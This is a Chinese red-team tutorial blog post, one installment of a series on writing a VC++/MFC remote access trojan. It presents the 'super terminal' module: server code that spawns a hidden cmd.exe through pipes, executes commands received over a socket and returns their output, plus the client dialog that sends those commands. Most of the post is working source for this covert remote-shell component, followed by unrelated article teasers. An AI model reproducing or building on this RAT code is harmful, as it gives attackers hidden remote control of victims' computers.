红队专题-从零开始VC++C/S远程控制软件RAT-MFC-超级终端

在这里插入图片描述

红队专题

  • 招募六边形战士队员
  • [16]超级终端(1)

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

[16]超级终端(1)

服务端 — 本地打开cmd — 接收命令 — 执行 — 发送回显

客户端 — 远端发送命令 — 接收回显

 





发送开启cmd命令 --- 接受命令 --- 打开cmd




1.创建管道 --- 建立连接

2.服务端 ---通过通道(net user)---> CMD ---通过管道guest---> 服务端


客户端 OPEN_CMD(#define OPEN_CMD 0x01) 服务端 1.创建管道 --- 建立连接

客户端 net user			       服务端 通过管道net user 送入CMD进程 ---通过管道guest---> 服务端

				       服务端 发送回显










class CCmdShell
{
public:
    CCmdShell(void);
    ~CCmdShell(void);
    void Cmd_Init();
    void Cmd_Recv(char recv_buff[1024]);
    void Cmd_Send();
    DWORD GetProcID();
    void Cmd_GetSock(SOCKET sock);
    void NoTaskExit(SOCKET Socket);
private:
    SOCKET m_sock_cmd;
    CMySocket m_sock;
    HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
    PROCESS_INFORMATION pi;
	STARTUPINFO si;
};

void CCmdShell::Cmd_Recv(char recv_buff[1024])
{
    DWORD nByteWritten;
    if(strcmp("exit\r\n",recv_buff)==0)
    {
        ::CloseHandle(hWritePipe);
        ::CloseHandle(hReadPipe);
    }
    WriteFile(hWriteFile,recv_buff,strlen(recv_buff),&nByteWritten,NULL);
}

void CCmdShell::Cmd_Send()
{
    //发送命令
    SECURITY_ATTRIBUTES sa;
	DWORD len;
	char send_buff[1024];
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;
    CreatePipe(&hReadFile,&hWritePipe,&sa,0);

    SECURITY_ATTRIBUTES sa_r;
	sa_r.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa_r.lpSecurityDescriptor = NULL;
	sa_r.bInheritHandle = TRUE;
	//创建管道
	CreatePipe(&hReadPipe,&hWriteFile,&sa_r,0);

    MSGINFO_S msg;
    memset(&msg,0,sizeof(MSGINFO_S));
    msg.Msg_id = CMDSHELL;

	while (true)
	{
		//读取管道中的数据
        memset(send_buff,0,sizeof(send_buff));
        if(ReadFile(hReadFile,send_buff,1023,&len,NULL) == FALSE)
        {
            break;
        }
		//把管道中的数据发送给远程主机
        CMD cmd;
        memset(&cmd,0,sizeof(CMD));
        strcpy_s(cmd.command,sizeof(send_buff),send_buff);
        cmd.flag = 0;
        memcpy(msg.context,&cmd,sizeof(CMD));
        m_sock.MySend(m_sock_cmd,(char*)&msg,sizeof(MSGINFO_S));
	}
    printf("CmdThreadOver\n");
}

void CCmdShell::Cmd_Init()
{
    //初始化
    GetStartupInfoW(&si);
	si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
	//使cmd的输入输出和管道关联
	si.hStdInput = hReadPipe;
	si.hStdError = hWritePipe;
	si.hStdOutput = hWritePipe;
	si.wShowWindow = SW_HIDE;
	wchar_t cmdline[256]={0};
	//得到系统路径
	GetSystemDirectory(cmdline,sizeof(cmdline));
    wcscat_s(cmdline,_T("\\cmd.exe"));
	//创建cmd进程
	if (CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == 0)
	{
		printf("CreateProcess Error\n");
	}
    ::CloseHandle(pi.hProcess);
}

void CCmdShell::Cmd_GetSock(SOCKET sock)
{
    m_sock_cmd = sock;
}

case CMDSHELL:
            {
                printf("CmeShell\n");
                m_cmd.Cmd_GetSock(l_Socket);
                ::CloseHandle(CreateThread(0,0,SendCmd,(LPVOID)&m_cmd,0,0));
                Sleep(200);
                ::CloseHandle(CreateThread(0,0,InitCmd,(LPVOID)&m_cmd,0,0));
            }
            break;
        case COMMAND: //未修改
            {
                CMD recvcmd;
                char recv_buff[1024];
                memset(&recvcmd,0,sizeof(CMD));
                memcpy(&recvcmd,msg.context,sizeof(CMD));
                memset(recv_buff,0,sizeof(recv_buff));
                strcpy_s(recv_buff,1024,recvcmd.command);
                if(m_task.ExistTask(m_cmd.GetProcID()) == false)
                {
                    m_cmd.NoTaskExit(l_Socket);
                    break;
                }
                m_cmd.Cmd_Recv(recv_buff);
            }
            break;

//客户端

    void GetReturnInfo(CMD t);
private:
    CStringToTransform m_str;
    CRect m_rect;
    CMySocket m_Mysock;
    SOCKET m_sock;
    MSGINFO msg;
    static unsigned int __stdcall OnCmdRecv(LPVOID self);
    void OnCmdRecv_run();

BOOL CCmdShell::PreTranslateMessage(MSG* pMsg)
{
    // TODO: 在此添加专用代码和/或调用基类
    if(pMsg->message==WM_KEYDOWN)  
    {  
        int nVirtKey = (int)pMsg->wParam;
        if(nVirtKey==VK_RETURN)  
        {
            //发送消息
            if(m_send.GetSafeHwnd()==::GetFocus())
            {
                if(GetDlgItem(IDC_EDIT2)->GetWindowTextLengthW() == 0)
                {
                    return TRUE;
                }
                CString str;
                GetDlgItem(IDC_EDIT2)->GetWindowTextW(str);
                msg.Msg_id = COMMAND;
                CMD cmd;
                memset(&cmd,0,sizeof(CMD));
                memset(&msg,0,sizeof(MSGINFO));
                m_str.CStringToChar(str,cmd.command);
                if(strcmp(cmd.command,"exit")==0)
                {
                    SendMessageW(WM_CLOSE,0,0);
                    return TRUE;
                }
                msg.Msg_id = COMMAND;
                strcat_s((char*)cmd.command,sizeof(cmd.command),"\r\n");
                memcpy(msg.context,&cmd,sizeof(CMD));
                m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));
                GetDlgItem(IDC_EDIT2)->SetWindowTextW(_T(""));
                str.ReleaseBuffer();
            }
            return TRUE;
        }
        else if(nVirtKey==VK_ESCAPE)
        {
            return TRUE;
        }
    }
    return CDialog::PreTranslateMessage(pMsg);
}

void CCmdShell::GetReturnInfo(CMD t)
{
    if(t.flag == 0)
    {
        CString tem;
        wchar_t *pwText;
        pwText = m_str.CharToCString(t.command);
        m_recv.GetWindowTextW(tem);
        m_recv.SetWindowTextW(tem + pwText);
        m_recv.SetSel(-1);
        delete[] pwText;
        m_send.GetFocus();
    }
    else
    {
        MessageBox(_T("服务端CMD进程被意外结束"),_T("提示"),MB_OK|MB_ICONWARNING);
        SendMessageW(WM_CLOSE,0,0);
    }
}

void CCmdShell::OnClose()
{
    // TODO: 在此添加消息处理程序代码和/或调用默认值
    MSGINFO msg;
    CMD cmd;
    memset(&msg,0,sizeof(MSGINFO));
    memset(&cmd,0,sizeof(CMD));
    msg.Msg_id = COMMAND;
    strcpy_s((char*)cmd.command,sizeof("exit\r\n"),"exit\r\n");
    memcpy(msg.context,&cmd,sizeof(CMD));
    m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));

    //CDialog::OnClose();
    ((CItemData*)this->m_pParentWnd)->m_cmd = NULL;
    DestroyWindow();
    delete this;
}

void CCmdShell::OnSize(UINT nType, int cx, int cy)
{
    CDialog::OnSize(nType, cx, cy);

    // TODO: 在此处添加消息处理程序代码
    if(nType == SIZE_MINIMIZED)
    {
        return;
    }
    CWnd *pWnd,*pWnd1;
    pWnd = GetDlgItem(IDC_EDIT1);     //获取控件句柄
    pWnd1 = GetDlgItem(IDC_EDIT2);
    if(pWnd && pWnd1)//判断是否为空,因为对话框创建时会调用此函数,而当时控件还未创建
    {
        CRect rect,rect_l;   //获取控件变化前大小
        GetClientRect(&rect_l);
        pWnd->GetWindowRect(&rect);
        ScreenToClient(&rect);
        rect.right = rect.right + (rect_l.right - m_rect.right);
        rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
        pWnd->MoveWindow(rect);//设置控件大小

        pWnd1->GetWindowRect(&rect);
        ScreenToClient(&rect);
        rect.top = rect.top + (rect_l.bottom - m_rect.bottom);
        rect.right = rect.right + (rect_l.right - m_rect.right);
        rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
        pWnd1->MoveWindow(rect);//设置控件大小
    }
    else
    {
        delete pWnd;
    }
    GetClientRect(&m_rect);
}

GetClientRect(&m_rect);
    MSGINFO msg;
    memset(&msg,0,sizeof(MSGINFO));
    msg.Msg_id = CMDSHELL;
    if(m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg))==SOCKET_ERROR)
    {
        MessageBox(_T("启用CMD命令发送失败"),_T("错误"),MB_OK|MB_ICONINFORMATION);
    }

typedef struct tagCMD //CMD命令信息
{
    int flag;
    char command[1024];
}CMD;

void CStringToTransform::CStringToChar(CString str,char* w)
{
	int len = WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),NULL,0,NULL,NULL);
	WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),w,len,NULL,NULL);
	w[len] = '\0';
}

wchar_t* CStringToTransform::CharToCString(char* temp) //替换
{
    DWORD dwNum = MultiByteToWideChar (CP_ACP, 0, temp, -1, NULL, 0);
    wchar_t *pwText;
    pwText = new wchar_t[dwNum];
    if(!pwText)
    {
        delete []pwText;
    }
    MultiByteToWideChar (CP_ACP, 0, temp, -1, pwText, dwNum);
    return pwText;
}

void CStringToChar(CString str,char* w);
    wchar_t* CharToCString(char* temp);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/138142.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vue-组件注册及使用

​🌈个人主页:前端青山 🔥系列专栏:Vue篇 🔖人终将被年少不可得之物困其一生 依旧青山,本期给大家带来vue篇专栏内容-组件注册及使用 目录 1、组件的注册及使用 2、组件常用属性 2.1、directive 2.2、computed 2.…

GoLong的学习之路,进阶,语法之并发(并发错误处理)补充并发三部曲

这篇文章主要讲的是如何去处理并发的错误。 在Go语言中十分便捷地开启goroutine去并发地执行任务,但是如何有效的处理并发过程中的错误则是一个很棘手的问题。 文章目录 recovererrgroup recover 哦对,似乎没写错误处理的文章。后面补上。 首先&…

低功耗蓝牙技术 > GAP和GATT介绍

GAP(Generic Access Profile)和GATT(Generic Attribute Profile)简介 在蓝牙技术的发展中,GAP和GATT两个协议扮演着关键的角色,为BLE(低功耗蓝牙)设备之间的通信提供了规范和框架。…

IPSec案例部署

项目拓扑与项目求 项目需求 某企业网络使用ospf作为IGP协议实现内部网络的互联互通,区域规划和IP规划如图所示,现在要求实现如下需求: 公司总部和分支之间互访,使用IPSec VPN传递流量,并且对其加密,公司内…

IntellJ IDEA利用spring initializr创建springboot项目

maven仓库修改镜像源 idea会默认从.m2目录下读取maven配置信息&#xff0c;若没有setting.xml则从maven安装目录拷贝一个setting.xml到这里 在xml中添加阿里云镜像源 <mirrors><mirror> <id>nexus-aliyun</id> <name>nexus-aliyu…

鸿蒙原生应用开发-DevEco Studio中HarmonyOS与OpenHarmony项目的切换

一、找到该目录 二、修改操作系统类型 三、分别进行开发&#xff0c;一些常规的应用功能实现后&#xff0c;相互切换后都可以正常运行的。前期OpenHarmony项目如果连接开发板比较困难的化&#xff0c;开发完成后&#xff0c;切换成为HarmonyOS后就可以比较详细地看看效果了。

FNPLicensingService.exe 总提示要联网

目录预览 一、问题描述二、原因分析三、解决方案&#xff1a;四、参考链接 一、问题描述 FNPLicensingService.exe 总提示要联网 找到路径如下&#xff1a; C:\Program Files (x86)\Common Files\Macrovision Shared\FlexNet Publisher然而从文件目录来看&#xff0c;并没有…

智能电网线路阻抗模拟负载的工作原理

智能电网线路阻抗模拟负载是一种用于测试和评估电网线路性能的技术&#xff0c;它的工作原理是通过模拟负载来模拟实际负载对电网的影响&#xff0c;以便评估电网的稳定性和可靠性&#xff0c;智能电网线路阻抗模拟负载通常由电子设备和控制系统组成。电子设备主要包括电阻、电…

OLED透明屏在智慧零售场景的应用

OLED透明屏在智慧零售场景中的应用主要包括以下几个方面&#xff1a; 商品展示&#xff1a;OLED透明屏可以作为商品展示窗口&#xff0c;使得产品可以在玻璃的透明表面上直接呈现展示&#xff0c;同时显示相关的文字和视频广告信息。这种宣传模式可以更加吸引顾客注意力&#…

高性能图表库LightningChart JS v5.0 - 轻松实现图表自定义布局

LightningChart JS是Web上性能最高的图表库具有出色的执行性能 - 使用高数据速率同时监控数十个数据源。 GPU加速和WebGL渲染确保您的设备的图形处理器得到有效利用&#xff0c;从而实现高刷新率和流畅的动画。 点击获取LightningChart JS v5.0正式版下载 LightningChart JS …

瑞吉外卖Day03

小张推荐:瑞吉外卖Day02 1.启用/禁用员工账号 1.1 思路分析 1.2Controller层 PutMapping()public R<String> update(RequestBody Employee employee, HttpServletRequest request) {log.info(employee.toString());Long emp (Long) request.getSession().getAttribu…

聚力未来!云起无垠成为光合组织成员单位

近日&#xff0c;云起无垠正式加入海光产业生态合作组织&#xff08;简称“光合组织”&#xff09;。云起无垠将与光合组织联合打造安全、好用、开放的产品与解决方案&#xff0c;满足企业的安全检测需求&#xff0c;帮助企业解决业务系统上线前的安全检测和修复问题。 图1 光合…

未来之光:十八数藏的文化数字化新篇章

在时代的浪潮中&#xff0c;十八数藏显现出文化数字化的新时代光芒。这一数字化的新篇章不仅仅是对传统文化的延续&#xff0c;更是一场对未来的引领。通过数字化&#xff0c;十八数藏打开了文化传承的崭新大门&#xff0c;为传统工艺注入了新的生命力。 数字技术为十八数藏带来…

培养财务团队协作,冲破市场经济逆境

在过去&#xff0c;企业财务发展道路上往往只有分析师&#xff0c;财务分析也十分简单&#xff0c;只需要业务上挖掘部分有用数据或做一些简单的“数学题”。这些内容都是由财务分析师来完成的。但随着科技发展、大数据时代的到来&#xff0c;越来越多的企业发现还有许多其他未…

2019年五一杯数学建模A题让标枪飞解题全过程文档及程序

2020年五一杯数学建模 A题 让标枪飞 原题再现 标枪的投掷是一项历史悠久的田径比赛项目。标枪投掷距离的远近受到运动员水平&#xff08;出手速度、出手角、初始攻角、出手高度、出手时标枪的初始俯仰角速度等&#xff09;&#xff0c;标枪的技术参数&#xff08;标枪的长度、…

Electronica Samtec展台连接器Demo回顾 | 224Gbps PAM4:令人瞠目的速率

【摘要/前言】 最近&#xff0c;我们正在为大家带来2023慕尼黑上海电子展虎家展台Demo演示回顾系列。 今天虎家工程师团队再次为大家带来系列第一期&#xff1a; 我们邀请到了合作伙伴Keysight&#xff0c;与我们一同带来了Samtec NovaRay高密度、高性能阵列连接器以及Keysig…

车载通信与DDS标准解读系列(1):DDS-RPC

▎RPC & DDS-RPC RPC&#xff1a;Remote Procedure Call&#xff0c;远程过程调用。 远程过程调用是一种进程间通信&#xff0c;它允许计算机程序在另一个地址空间中执行子程序&#xff0c;就好像用别人的东西像用自己的一样&#xff0c;常用于分布式系统。 远程过程调用…

Cesium 实战 - 调整饱和度、对比度等参数,加载夜晚模式

Cesium 实战 - 调整饱和度、对比度等参数&#xff0c;加载夜晚模式 渲染美化影像底图核心代码完整代码&#xff1a;在线示例 三维地图夜晚模式一般用于大屏展示以及体现晚上效果。 设置参与跟暗黑模式类似&#xff0c;只是这里加了大气参数。 本文包括渲染美化影像底图核心代…

Leetcode—122.买卖股票的最佳时机II【中等】

2023每日刷题&#xff08;二十八&#xff09; Leetcode—122.买卖股票的最佳时机II 实现代码 int maxProfit(int* prices, int pricesSize) {int totalProfit 0;if(pricesSize < 1) {return 0;}for(int i 1; i < pricesSize; i) {if(prices[i] - prices[i - 1] > …

RabbitMq防止消息丢失

RabbitMq防止消息丢失 消息的传递路径出现消息丢失的位置解决 消息的传递路径 消息发送方 --> MQ --> 消息消费方 出现消息丢失的位置 消息发送方: 消息传输过程中丢失MQ: MQ收到消息后,存在内存中,还未被消费就宕机了,导致数据丢失消息消费方: 消息到达消费方后, 服务…